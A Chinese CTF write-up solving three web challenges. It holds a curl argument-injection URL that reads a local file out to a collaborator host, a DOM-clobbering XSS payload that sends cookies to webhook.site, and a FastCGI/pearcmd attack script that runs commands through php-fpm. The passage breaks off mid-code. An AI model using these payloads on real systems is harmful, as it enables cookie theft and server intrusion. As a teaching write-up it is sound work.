战队:0RAYS

排名:16

image-20230103005941408

Web

RaaS-v1

题目源码:
<?php

if($_SERVER['REMOTE_ADDR'] == '127.0.0.1'){
    die('curl :thonk:');
}

$url = 'http://localhost';
$method = 'GET';
$formParams = [];

if(isset($_GET['url'])){
    $url = $_GET['url'];
}

if(isset($_GET['method'])){
    $method = $_GET['method'];
}

if(isset($_GET['formParams'])){ 
    $formParams = $_GET['formParams'];
}

$cmd = 'curl ';
$cmd .= '--proto -file '; 
$cmd .= escapeshellarg($url).' ';
$cmd .= '-X ';
$cmd .= escapeshellarg($method).' ';


foreach($formParams as $key => $value){
    if(preg_match("/^\w+$/",$key)){
        $cmd .= '-F ';
        $cmd .= escapeshellarg($key.'= '.$value);
    }
}

header('Content-Type: text/plain');
system($cmd);

考察看文档能力https://curl.se/docs/manpage.html#-F

image-20230103000718172

可以看到-F参数是可以指定本机文件进行发送的,但是题目中:

$cmd .= escapeshellarg($key.'= '.$value);

=号后加了空格,导致不能直接通过发文件的形式读取flag

image-20230103000859956

翻阅文档,可以看到,headers参数也可以读取本机文件。

payload:
http://raas-v1.asisctf.com:9000/?url=https://3sw5lub27zg8aeffl8bc7hupegk98y.burpcollaborator.net&method=POST&formParams[file]=submit=OK;headers=@/flag.txt

h.n.y

题目源码

index.html

<html>
    <head>
        <title>hi</title>
    </head>
    <body>
        <h1>definitely not vulnerable to XSS</h1>
        <div>
            MSG
        </div>
        <script nonce="$nonce$">
            try{
                eval(window.h.a.p.p.y._.n.e.w._.y.e.a.r._.h.a.c.k.e.r.s.toString())
            }catch(e){}
        </script>
    </body>
</html>

index.js

#!/usr/bin/env node
const express = require('express')
const crypto = require('crypto')
const { visit } = require('./bot')

const app = express()
const reportIpsList = new Map()
const indexTemplate = require('fs').readFileSync('./index.html').toString()
const now = ()=>Math.floor(+new Date()/1000)

app.use((req,res,next)=>{
    res.locals.nonce = crypto.randomBytes(16).toString("hex")
    res.setHeader('Content-Security-Policy',`default-src 'self'; script-src 'unsafe-eval' 'nonce-${res.locals.nonce}' `)
    res.setHeader('X-Frame-Options','DENY')
    next()
})

app.get('/',(req,res)=>{
    let s = indexTemplate.replace('$nonce$',()=>res.locals.nonce)
    s = s.replace('MSG',()=>(req.query.p ?? '<code>( ˘▽˘)っ♨</code>').slice(0,0x1000))
    res.send(s)
})

app.get('/hack',(req,res)=>{
    if(reportIpsList.has(req.ip) && reportIpsList.get(req.ip)+60 > now()){
        return res.send(`Please comeback ${reportIpsList.get(req.ip)+60-now()}s later!`)
    }
    reportIpsList.set(req.ip,now())
    
    visit(req.query.p.toString())
    res.send('ok')
})

app.listen(9000,_=>{
    console.log('[+] Listening on 9000')
})

bot.js

#!/usr/bin/env node
const puppeteer = require('puppeteer')

const flag = process.env.FLAG ?? 'flag{test-flag}'

async function visit(url){
    let browser

    if(!/^https?:\/\//.test(url)){
        return;
    }

    try {        
        browser = await puppeteer.launch({
            pipe: true,
            args: [
                "--no-sandbox",
                "--disable-setuid-sandbox",
                "--js-flags=--noexpose_wasm,--jitless",
            ],
            executablePath: "/usr/bin/google-chrome",
        })

        let page = await browser.newPage()
        await page.setCookie({name: 'flag', value: flag, domain: 'localhost'})
        await page.goto(url, { timeout: 1000, waitUntil: 'domcontentloaded' })
        await new Promise((r)=>setTimeout(r,3000))
        await page.close()
        await browser.close()
        browser = null
    } catch(err){
        console.log(err)
    } finally {
        if (browser) await browser.close()
    }
}
exports.visit = visit

visit函数,携带有flag的cookie访问我们指定的url,但是限制了localhost这个域

        let page = await browser.newPage()  //访问url
        await page.setCookie({name: 'flag', value: flag, domain: 'localhost'}) //限制
        await page.goto(url, { timeout: 1000, waitUntil: 'domcontentloaded' })
        await new Promise((r)=>setTimeout(r,3000))
        await page.close()
        await browser.close()

这个让他内部访问 http://localhost:9000 就行了

关键是xss把flag外带出来,有CSP限制

image-20230103001302762

CSP限制了js代码执行域

只能在这里执行

image-20230103001316472

参数q可控,可以写html, dom clobbering

https://blog.csdn.net/qq_38154820/article/details/106330275?utm_source=app&app_version=5.0.1&code=app_1562916241&uLinkId=usr1mkqgl919blen

用脚本生成 https://github.com/splitline/DOM-Clobber3r

dom clobbering 让 window.h.a.p.p.y._.n.e.w._.y.e.a.r._.h.a.c.k.e.r.s 的值为我们要执行的js代码

Exp (必须要dom完全加载完才行,后面打若干个 <link rel="stylesheet" href="style.css"> 阻塞)

payload
<iframe name=window srcdoc="
  <iframe name=h srcdoc=&quot;
    <iframe name=a srcdoc=&amp;quot;
      <iframe name=p srcdoc=&amp;amp;quot;
        <iframe name=p srcdoc=&amp;amp;amp;quot;
          <iframe name=y srcdoc=&amp;amp;amp;amp;quot;
            <iframe name=_ srcdoc=&amp;amp;amp;amp;amp;quot;
              <iframe name=n srcdoc=&amp;amp;amp;amp;amp;amp;quot;
                <iframe name=e srcdoc=&amp;amp;amp;amp;amp;amp;amp;quot;
                  <iframe name=w srcdoc=&amp;amp;amp;amp;amp;amp;amp;amp;quot;
                    <iframe name=_ srcdoc=&amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;
                      <iframe name=y srcdoc=&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;
                        <iframe name=e srcdoc=&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;
                          <iframe name=a srcdoc=&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;
                            <iframe name=r srcdoc=&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;
                              <iframe name=_ srcdoc=&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;
                                <iframe name=h srcdoc=&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;
                                  <iframe name=a srcdoc=&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;
                                    <iframe name=c srcdoc=&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;
                                      <iframe name=k srcdoc=&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;
                                        <iframe name=e srcdoc=&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;
                                          <iframe name=r srcdoc=&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;
                                            <a id='s' href='javascript:location.href='https://webhook.site/#!/0f5dd29b-2df3-4991-9a5b-3ac43c2ed65b/'+document.cookie'></a>
                                          &amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;></iframe>
                                        &amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;></iframe>
                                      &amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;></iframe>
                                    &amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;></iframe>
                                  &amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;></iframe>
                                &amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;></iframe>
                              &amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;></iframe>
                            &amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;></iframe>
                          &amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;></iframe>
                        &amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;></iframe>
                      &amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;></iframe>
                    &amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;></iframe>
                  &amp;amp;amp;amp;amp;amp;amp;amp;quot;></iframe>
                &amp;amp;amp;amp;amp;amp;amp;quot;></iframe>
              &amp;amp;amp;amp;amp;amp;quot;></iframe>
            &amp;amp;amp;amp;amp;quot;></iframe>
          &amp;amp;amp;amp;quot;></iframe>
        &amp;amp;amp;quot;></iframe>
      &amp;amp;quot;></iframe>
    &amp;quot;></iframe>
  &quot;></iframe>
"></iframe>

url二次编码

http://5.75.142.234:9000/hack?p=http%3A%2F%2Flocalhost%3A9000%3Fp%3D%253Ciframe%2520name%253Dh%2520srcdoc%253D%2522%253Ciframe%2520name%253Da%2520srcdoc%253D%2526quot%253B%253Ciframe%2520name%253Dp%2520srcdoc%253D%2526amp%253Bquot%253B%253Ciframe%2520name%253Dp%2520srcdoc%253D%2526amp%253Bamp%253Bquot%253B%253Ciframe%2520name%253Dy%2520srcdoc%253D%2526amp%253Bamp%253Bamp%253Bquot%253B%253Ciframe%2520name%253D%255F%2520srcdoc%253D%2526amp%253Bamp%253Bamp%253Bamp%253Bquot%253B%253Ciframe%2520name%253Dn%2520srcdoc%253D%2526amp%253Bamp%253Bamp%253Bamp%253Bamp%253Bquot%253B%253Ciframe%2520name%253De%2520srcdoc%253D%2526amp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bquot%253B%253Ciframe%2520name%253Dw%2520srcdoc%253D%2526amp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bquot%253B%253Ciframe%2520name%253D%255F%2520srcdoc%253D%2526amp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bquot%253B%253Ciframe%2520name%253Dy%2520srcdoc%253D%2526amp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bquot%253B%253Ciframe%2520name%253De%2520srcdoc%253D%2526amp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bquot%253B%253Ciframe%2520name%253Da%2520srcdoc%253D%2526amp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bquot%253Ciframe%2520name%253Dr%2520srcdoc%253D%2526amp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bquot%253Ciframe%2520name%253D%255F%2520srcdoc%253D%2526amp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bquot%253B%253Ciframe%2520name%253Dh%2520srcdoc%253D%2526amp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bquot%253B%253Ciframe%2520name%253Da%2520srcdoc%253D%2526amp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bquot%253B%253Ciframe%2520name%253Dc%2520srcdoc%253D%2526amp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bquot%253B%253Ciframe%2520name%253Dk%2520srcdoc%253D%2526amp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bquot%253B%253Ciframe%2520name%253De%2520srcdoc%253D%2526amp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bquot%253B%253Ciframe%2520name%253Dr%2520srcdoc%253D%2526amp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bquot%253B%253Ca%2520id%253D%2527s%2527%2520href%253Djavascript%253Alocation%252Ehref%253D%2527https%253A%252F%252Fwebhook%252Esite%252F0f5dd29b%252D2df3%252D4991%252D9a5b%252D3ac43c2ed65b%252F%2527%252Bdocument%252Ecookie%253E%253C%252Fa%253E%2526amp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bquot%253B%253E%253C%252Fiframe%253E%2526amp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bquot%253B%253E%253C%252Fiframe%253E%2526amp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bquot%253B%253E%253C%252Fiframe%253E%2526amp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bquot%253B%253E%253C%252Fiframe%253E%2526amp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bquot%253B%253E%253C%252Fiframe%253E%2526amp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bquot%253B%253E%253C%252Fiframe%253E%2526amp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bquot%253B%253E%253C%252Fiframe%253E%2526amp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bquot%253B%253E%253C%252Fiframe%253E%2526amp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bquot%253B%253E%253C%252Fiframe%253E%2526amp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bquot%253B%253E%253C%252Fiframe%253E%2526amp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bquot%253B%253E%253C%252Fiframe%253E%2526amp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bquot%253B%253E%253C%252Fiframe%253E%2526amp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bquot%253B%253E%253C%252Fiframe%253E%2526amp%253Bamp%253Bamp%253Bamp%253Bamp%253Bamp%253Bquot%253B%253E%253C%252Fiframe%253E%2526amp%253Bamp%253Bamp%253Bamp%253Bamp%253Bquot%253B%253E%253C%252Fiframe%253E%2526amp%253Bamp%253Bamp%253Bamp%253Bquot%253B%253E%253C%252Fiframe%253E%2526amp%253Bamp%253Bamp%253Bquot%253B%253E%253C%252Fiframe%253E%2526amp%253Bamp%253Bquot%253B%253E%253C%252Fiframe%253E%2526amp%253Bquot%253B%253E%253C%252Fiframe%253E%2526quot%253B%253E%253C%252Fiframe%253E%2522%253E%253C%252Fiframe%253E%253Clink%2520rel%253D%2522stylesheet%2522%2520href%253D%2522style%252Ecss%2522%253E%253Clink%2520rel%253D%2522stylesheet%2522%2520href%253D%2522style%252Ecss%2522%253E%253Clink%2520rel%253D%2522stylesheet%2522%2520href%253D%2522style%252Ecss%2522%253E%253Clink%2520rel%253D%2522stylesheet%2522%2520href%253D%2522style%252Ecss%2522%253E%253Clink%2520rel%253D%2522stylesheet%2522%2520href%253D%2522style%252Ecss%2522%253E%253Clink%2520rel%253D%2522stylesheet%2522%2520href%253D%2522style%252Ecss%2522%253E%253Clink%2520rel%253D%2522stylesheet%2522%2520href%253D%2522style%252Ecss%2522%253E%253Clink%2520rel%253D%2522stylesheet%2522%2520href%253D%2522style%252Ecss%2522%253E%253Clink%2520rel%253D%2522stylesheet%2522%2520href%253D%2522style%252Ecss%2522%253E%253Clink%2520rel%253D%2522stylesheet%2522%2520href%253D%2522style%252Ecss%2522%253E%253Clink%2520rel%253D%2522stylesheet%2522%2520href%253D%2522style%252Ecss%2522%253E%253Clink%2520rel%253D%2522stylesheet%2522%2520href%253D%2522style%252Ecss%2522%253E%253Clink%2520rel%253D%2522stylesheet%2522%2520href%253D%2522style%252Ecss%2522%253E%253Clink%2520rel%253D%2522stylesheet%2522%2520href%253D%2522style%252Ecss%2522%253E%253Clink%2520rel%253D%2522stylesheet%2522%2520href%253D%2522style%252Ecss%2522%253E%253Clink%2520rel%253D%2522stylesheet%2522%2520href%253D%2522style%252Ecss%2522%253E%253Clink%2520rel%253D%2522stylesheet%2522%2520href%253D%2522style%252Ecss%2522%253E%253Clink%2520rel%253D%2522stylesheet%2522%2520href%253D%2522style%252Ecss%2522%253E%253Clink%2520rel%253D%2522stylesheet%2522%2520href%253D%2522style%252Ecss%2522%253E%253Clink%2520rel%253D%2522stylesheet%2522%2520href%253D%2522style%252Ecss%2522%253E%253Clink%2520rel%253D%2522stylesheet%2522%2520href%253D%2522style%252Ecss%2522%253E%253Clink%2520rel%253D%2522stylesheet%2522%2520href%253D%2522style%252Ecss%2522%253E%253Clink%2520rel%253D%2522stylesheet%2522%2520href%253D%2522style%252Ecss%2522%253E%253Clink%2520rel%253D%2522stylesheet%2522%2520href%253D%2522style%252Ecss%2522%253E%253Clink%2520rel%253D%2522stylesheet%2522%2520href%253D%2522style%252Ecss%2522%253E%253Clink%2520rel%253D%2522stylesheet%2522%2520href%253D%2522style%252Ecss%2522%253E%253Clink%2520rel%253D%2522stylesheet%2522%2520href%253D%2522style%252Ecss%2522%253E%253Clink%2520rel%253D%2522stylesheet%2522%2520href%253D%2522style%252Ecss%2522%253E%253Clink%2520rel%253D%2522stylesheet%2522%2520href%253D%2522style%252Ecss%2522%253E%253Clink%2520rel%253D%2522stylesheet%2522%2520href%253D%2522style%252Ecss%2522%253E%253Clink%2520rel%253D%2522stylesheet%2522%2520href%253D%2522style%252Ecss%2522%253E

image-20230103001522840

phphphphphp

题目源码

nginx.conf

server {
    listen 80 default_server;

    index index.php;
    error_log  /var/log/nginx/error.log;
    access_log /var/log/nginx/access.log;
    root /web/;

    location ~ \.php$ {
        try_files $uri =404;
        fastcgi_split_path_info ^(.+\.php)(/.+)$;
        fastcgi_pass fpm:9000;
        fastcgi_index index.php;
        include fastcgi_params;
        fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
        fastcgi_param PATH_INFO $fastcgi_path_info;
    }
}

index.php

no pwn 🫠 <?php posix_setgid(1337) && posix_setuid(1337) && eval($_POST['y']."\n\ri said no pwn 😡😡😡") ?>

y=eval($_POST['a']);?>&a直接连上蚁剑,发现用户权限很低,无法新建文件,无法读取flag

image-20230103003703004

可以看到对flag.txt权限只有500

然后找suid,看看能不能提权

发现只有以下

/bin/su
/bin/mount
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/passwd

然后就没什么思路了,以下为复现

参考:

https://tttang.com/archive/1775/
https://xz.aliyun.com/t/9544#toc-10
https://blog.carrot2.cn/2022/09/2022zjctf-preliminary.html

fpm跑在root下的,⽤fpm来执⾏php代码,利用浙江省赛的思路,打fastcgi

<?php
/**
 * Note : Code is released under the GNU LGPL
 *
 * Please do not change the header of this file
 *
 * This library is free software; you can redistribute it and/or modify it under the terms of the GNU
 * Lesser General Public License as published by the Free Software Foundation; either version 2 of
 * the License, or (at your option) any later version.
 *
 * This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
 * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
 *
 * See the GNU Lesser General Public License for more details.
 */
/**
 * Handles communication with a FastCGI application
 *
 * @author      Pierrick Charron <pierrick@webstart.fr>
 * @version     1.0
 */
class FCGIClient
{
    const VERSION_1            = 1;
    const BEGIN_REQUEST        = 1;
    const ABORT_REQUEST        = 2;
    const END_REQUEST          = 3;
    const PARAMS               = 4;
    const STDIN                = 5;
    const STDOUT               = 6;
    const STDERR               = 7;
    const DATA                 = 8;
    const GET_VALUES           = 9;
    const GET_VALUES_RESULT    = 10;
    const UNKNOWN_TYPE         = 11;
    const MAXTYPE              = self::UNKNOWN_TYPE;
    const RESPONDER            = 1;
    const AUTHORIZER           = 2;
    const FILTER               = 3;
    const REQUEST_COMPLETE     = 0;
    const CANT_MPX_CONN        = 1;
    const OVERLOADED           = 2;
    const UNKNOWN_ROLE         = 3;
    const MAX_CONNS            = 'MAX_CONNS';
    const MAX_REQS             = 'MAX_REQS';
    const MPXS_CONNS           = 'MPXS_CONNS';
    const HEADER_LEN           = 8;
    /**
     * Socket
     * @var Resource
     */
    private $_sock = null;
    /**
     * Host
     * @var String
     */
    private $_host = null;
    /**
     * Port
     * @var Integer
     */
    private $_port = null;
    /**
     * Keep Alive
     * @var Boolean
     */
    private $_keepAlive = false;
    /**
     * Constructor
     *
     * @param String $host Host of the FastCGI application
     * @param Integer $port Port of the FastCGI application
     */
    public function __construct($host, $port = 9001) // and default value for port, just for unixdomain socket
    {
        $this->_host = $host;
        $this->_port = $port;
    }
    /**
     * Define whether or not the FastCGI application should keep the connection
     * alive at the end of a request
     *
     * @param Boolean $b true if the connection should stay alive, false otherwise
     */
    public function setKeepAlive($b)
    {
        $this->_keepAlive = (boolean)$b;
        if (!$this->_keepAlive && $this->_sock) {
            fclose($this->_sock);
        }
    }
    /**
     * Get the keep alive status
     *
     * @return Boolean true if the connection should stay alive, false otherwise
     */
    public function getKeepAlive()
    {
        return $this->_keepAlive;
    }
    /**
     * Create a connection to the FastCGI application
     */
    private function connect()
    {
        if (!$this->_sock) {
            //$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
            $this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
            if (!$this->_sock) {
                throw new Exception('Unable to connect to FastCGI application');
            }
        }
    }
    /**
     * Build a FastCGI packet
     *
     * @param Integer $type Type of the packet
     * @param String $content Content of the packet
     * @param Integer $requestId RequestId
     */
    private function buildPacket($type, $content, $requestId = 1)
    {
        $clen = strlen($content);
        return chr(self::VERSION_1)         /* version */
            . chr($type)                    /* type */
            . chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
            . chr($requestId & 0xFF)        /* requestIdB0 */
            . chr(($clen >> 8 ) & 0xFF)     /* contentLengthB1 */
            . chr($clen & 0xFF)             /* contentLengthB0 */
            . chr(0)                        /* paddingLength */
            . chr(0)                        /* reserved */
            . $content;                     /* content */
    }
    /**
     * Build an FastCGI Name value pair
     *
     * @param String $name Name
     * @param String $value Value
     * @return String FastCGI Name value pair
     */
    private function buildNvpair($name, $value)
    {
        $nlen = strlen($name);
        $vlen = strlen($value);
        if ($nlen < 128) {
            /* nameLengthB0 */
            $nvpair = chr($nlen);
        } else {
            /* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
            $nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
        }
        if ($vlen < 128) {
            /* valueLengthB0 */
            $nvpair .= chr($vlen);
        } else {
            /* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
            $nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
        }
        /* nameData & valueData */
        return $nvpair . $name . $value;
    }
    /**
     * Read a set of FastCGI Name value pairs
     *
     * @param String $data Data containing the set of FastCGI NVPair
     * @return array of NVPair
     */
    private function readNvpair($data, $length = null)
    {
        $array = array();
        if ($length === null) {
            $length = strlen($data);
        }
        $p = 0;
        while ($p != $length) {
            $nlen = ord($data{$p++});
            if ($nlen >= 128) {
                $nlen = ($nlen & 0x7F << 24);
                $nlen |= (ord($data{$p++}) << 16);
                $nlen |= (ord($data{$p++}) << 8);
                $nlen |= (ord($data{$p++}));
            }
            $vlen = ord($data{$p++});
            if ($vlen >= 128) {
                $vlen = ($nlen & 0x7F << 24);
                $vlen |= (ord($data{$p++}) << 16);
                $vlen |= (ord($data{$p++}) << 8);
                $vlen |= (ord($data{$p++}));
            }
            $array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
            $p += ($nlen + $vlen);
        }
        return $array;
    }
    /**
     * Decode a FastCGI Packet
     *
     * @param String $data String containing all the packet
     * @return array
     */
    private function decodePacketHeader($data)
    {
        $ret = array();
        $ret['version']       = ord($data{0});
        $ret['type']          = ord($data{1});
        $ret['requestId']     = (ord($data{2}) << 8) + ord($data{3});
        $ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
        $ret['paddingLength'] = ord($data{6});
        $ret['reserved']      = ord($data{7});
        return $ret;
    }
    /**
     * Read a FastCGI Packet
     *
     * @return array
     */
    private function readPacket()
    {
        if ($packet = fread($this->_sock, self::HEADER_LEN)) {
            $resp = $this->decodePacketHeader($packet);
            $resp['content'] = '';
            if ($resp['contentLength']) {
                $len  = $resp['contentLength'];
                while ($len && $buf=fread($this->_sock, $len)) {
                    $len -= strlen($buf);
                    $resp['content'] .= $buf;
                }
            }
            if ($resp['paddingLength']) {
                $buf=fread($this->_sock, $resp['paddingLength']);
            }
            return $resp;
        } else {
            return false;
        }
    }
    /**
     * Get Informations on the FastCGI application
     *
     * @param array $requestedInfo information to retrieve
     * @return array
     */
    public function getValues(array $requestedInfo)
    {
        $this->connect();
        $request = '';
        foreach ($requestedInfo as $info) {
            $request .= $this->buildNvpair($info, '');
        }
        fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
        $resp = $this->readPacket();
        if ($resp['type'] == self::GET_VALUES_RESULT) {
            return $this->readNvpair($resp['content'], $resp['length']);
        } else {
            throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
        }
    }
    /**
     * Execute a request to the FastCGI application
     *
     * @param array $params Array of parameters
     * @param String $stdin Content
     * @return String
     */
    public function request(array $params, $stdin)
    {
        $response = '';
//        $this->connect();
        $request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
        $paramsRequest = '';
        foreach ($params as $key => $value) {
            $paramsRequest .= $this->buildNvpair($key, $value);
        }
        if ($paramsRequest) {
            $request .= $this->buildPacket(self::PARAMS, $paramsRequest);
        }
        $request .= $this->buildPacket(self::PARAMS, '');
        if ($stdin) {
            $request .= $this->buildPacket(self::STDIN, $stdin);
        }
        $request .= $this->buildPacket(self::STDIN, '');
        //echo('data='.urlencode($request));
        echo(base64_encode($request));            //因为数据放到fsockopen中是要进行base64解码的,我们直接在这里进行编码
    }
}
?>
<?php
$filepath = "/usr/local/lib/php/pearcmd.php";
//$filepath = "/var/www/html/flag.php";          //调试用
$req = '/' . basename($filepath);
$uri = $req . '?' . '+config-create+/<?=system("cat /flag.txt")?>+/dev/tarn.php';//payload
$client = new FCGIClient("1111", 0);
$code = "<?php system('cat /flag.txt');?>";          //flag.php的post数据,只是看phpinfo是否被修改
$php_value = "auto_prepend_file=/flag.txt";
$params = array(
    'GATEWAY_INTERFACE' => 'FastCGI/1.0',
    'REQUEST_METHOD'    => 'POST',
    'SCRIPT_FILENAME'   => $filepath,
    'SCRIPT_NAME'       => $req,
    'QUERY_STRING'      => $uri, //url编码后的
    'REQUEST_URI'       => $uri,
    'DOCUMENT_URI'      => $req,
#'DOCUMENT_ROOT'     => '/',
    'PHP_ADMIN_VALUE' => $php_value,
    'PHP_VALUE'         => $php_value,
    'SERVER_SOFTWARE'   => '80sec/wofeiwo',
    'REMOTE_ADDR'       => '127.0.0.1',
    'REMOTE_PORT'       => '9000',
    'SERVER_ADDR'       => '127.0.0.1',
    'SERVER_PORT'       => '80',
    'SERVER_NAME'       => 'localhost',                  
    'SERVER_PROTOCOL'   => 'HTTP/1.1',
    'CONTENT_LENGTH'    => strlen($code),
    'HTTP_HOST' => '127.0.0.1',        //题目要求本地访问
    'CONTENT_TYPE' => "application/x-www-form-urlencoded",      //调试,表示$_POST有数据
);
echo $client->request($params, $code)."\n";
?>

用pearcmd

直接eval执行浙江省赛代码,用上面的脚本生成payload打Fastcgi

<?php
highlight_file(__FILE__);
$data = base64_decode($_GET['data']);
$host = '127.0.0.1';
$port = '9000';
$fp = fsockopen($host,intval($port),$errno, $errstr, 30);
if (!$fp) {
  die();
}
else{
    fwrite($fp, $data);
    while (!feof($fp)) {
        echo fgets($fp, 1288);
    }
    fclose($fp);
}
?>

以下代码为脚本关键,用以上代码打过去的作用:访问$filepath路径的php文件,url为$uri所指定的语句,这里使用pearcmd.php文件的config-create,创建文件写入命令。

<?php
$filepath = "/usr/local/lib/php/pearcmd.php";
//$filepath = "/var/www/html/flag.php";          //调试用
$req = '/' . basename($filepath);
$uri = $req . '?' . '+config-create+/<?=system("cat /flag.txt")?>+/dev/tarn.php';//payload
$client = new FCGIClient("1111", 0);
$code = "<?php system('cat /flag.txt');?>";          //flag.php的post数据,只是看phpinfo是否被修改
$php_value = "auto_prepend_file=/flag.txt";
$params = array(
